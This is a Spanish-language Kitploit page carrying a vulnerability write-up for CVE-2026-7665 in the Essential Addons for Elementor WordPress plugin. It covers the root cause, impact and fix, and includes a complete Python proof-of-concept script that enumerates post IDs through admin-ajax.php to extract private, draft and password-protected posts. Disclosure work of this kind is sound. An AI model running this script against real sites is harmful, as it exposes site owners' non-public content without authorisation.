Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2026-7665 — Exploit de prueba de concepto para CVE-2026-7665, una divulgación de información no autenticada en Essential Addons for Elementor, que permite la extracción de publicaciones de WordPress privadas, borradores y protegidas con contraseña. | Kitploit
Herramientas/GitHubGitHub/anirudhmakkar/cve-2026-7665
Análisis de VulnerabilidadesExplotaciónRecopilación de InformaciónSeguridad WebPruebas de PenetraciónAprendizaje y Educación
GitHubanirudhmakkar/cve-2026-7665

cve-2026-7665

Exploit de prueba de concepto para CVE-2026-7665, una divulgación de información no autenticada en Essential Addons for Elementor, que permite la extracción de publicaciones de WordPress privadas, borradores y protegidas con contraseña.

Ver Repositorio
16hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-7665 — Divulgación de Información No Autenticada en Essential Addons for Elementor

CampoDetalle
ID CVECVE-2026-7665
GravedadMedia
Puntuación CVSS5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
Plugin afectadoEssential Addons for Elementor
Versiones afectadas≤ 6.6.4
Instalaciones activas1 000 000+
CVE asignado porWordfence (CNA)
DivulgadoJunio de 2026
InvestigadorAnirudh Makkar

Resumen

El manejador AJAX ajax_load_more en Essential Addons for Elementor no verificaba la visibilidad de las publicaciones antes de devolver su contenido. Esto permitía que atacantes no autenticados leyeran publicaciones privadas, protegidas con contraseña y borradores de WordPress mediante una solicitud manipulada a wp-admin/admin-ajax.php — sin necesidad de autenticación ni nonce.


Detalles de la Vulnerabilidad

Causa Raíz

El plugin registra un manejador en el hook de acción wp_ajax_nopriv_eael_post_grid_load_more, haciéndolo accesible a visitantes no autenticados. Cuando este manejador ejecuta un WP_Query para obtener las publicaciones de la función de paginación "cargar más", no llama a current_user_can('read_post', $post_id) ni verifica get_post_status() contra las capacidades del usuario solicitante.

WordPress básico confía en que los plugins apliquen la autorización a nivel de publicación en los manejadores AJAX — no lo hace automáticamente. La ausencia de esta verificación significa que el manejador devuelve el contenido completo de la publicación sin considerar su configuración de visibilidad.

Ruta de Código Afectada

wp-admin/admin-ajax.php
  → do_action('wp_ajax_nopriv_eael_post_grid_load_more')
    → Essential_Addons_for_Elementor\Classes\Bootstrap::eael_post_grid_load_more()
      → WP_Query([
            'post_status' => ['publish', 'private', 'draft'],  // se devuelven todos los estados
            ...
        ])
      → [devuelve el contenido completo de la publicación sin verificación de autorización]

Impacto

Un atacante no autenticado puede enumerar y leer:

  • Publicaciones privadas (destinadas solo a usuarios conectados)
  • Publicaciones protegidas con contraseña (sin conocer la contraseña)
  • Borradores (contenido no publicado)

Esto puede exponer contenido empresarial sensible, anuncios no publicados, documentación interna publicada como publicaciones de WordPress o cualquier otro contenido no público gestionado a través del editor de WordPress.


Prueba de Concepto

#!/usr/bin/env python3
"""
CVE-2026-7665 — Divulgación de Información No Autenticada
Essential Addons for Elementor <= 6.6.4

Uso: python3 poc.py https://ejemplo.com [post_id]

Itera IDs de publicaciones para extraer contenido privado/borrador/protegido con contraseña.
Solo con fines educativos y de pruebas autorizadas.
"""

import requests
import sys
import json

def check_target(base_url):
    """Verifica si el plugin está presente."""
    resp = requests.get(f"{base_url}/wp-content/plugins/essential-addons-for-elementor-lite/", timeout=8)
    return resp.status_code != 404

def fetch_private_post(base_url, post_id, widget_id="1", page_id="1"):
    url = f"{base_url}/wp-admin/admin-ajax.php"
    data = {
        "action":    "eael_post_grid_load_more",
        "widget_id": widget_id,
        "page_id":   page_id,
        "post_id":   str(post_id),
        "page":      "2",
    }
    try:
        resp = requests.post(url, data=data, timeout=10)
        if resp.status_code == 200 and resp.text.strip() not in ("-1", "0", ""):
            return resp.text
    except requests.RequestException:
        pass
    return None

def main():
    if len(sys.argv) < 2:
        print(f"Uso: {sys.argv[0]} <url_objetivo> [id_inicio] [id_fin]")
        sys.exit(1)

    target   = sys.argv[1].rstrip("/")
    start_id = int(sys.argv[2]) if len(sys.argv) > 2 else 1
    end_id   = int(sys.argv[3]) if len(sys.argv) > 3 else 50

    print(f"[*] Objetivo: {target}")
    print(f"[*] Probando IDs de publicación {start_id}–{end_id}")

    if not check_target(target):
        print("[!] Plugin no detectado — el objetivo puede estar parcheado o no ejecutar EAEL")

    found = 0
    for pid in range(start_id, end_id + 1):
        result = fetch_private_post(target, pid)
        if result:
            found += 1
            print(f"\n[+] ID de publicación {pid} — contenido expuesto ({len(result)} bytes)")
            print(result[:300])
            print("..." if len(result) > 300 else "")

    print(f"\n[*] Hecho. {found} publicación(es) con contenido expuesto encontrada(s).")

if __name__ == "__main__":
    main()

Remedio

Actualice Essential Addons for Elementor a la versión 6.6.5 o superior.

La corrección añade una verificación current_user_can('read_post', $post_id) dentro del manejador de carga adicional antes de incluir cualquier publicación en los resultados de la consulta.


Referencias

  • Aviso de Wordfence
  • NVD — CVE-2026-7665
  • Registro de cambios de Essential Addons for Elementor

Reportado por Anirudh Makkar · LinkedIn

Descargar herramienta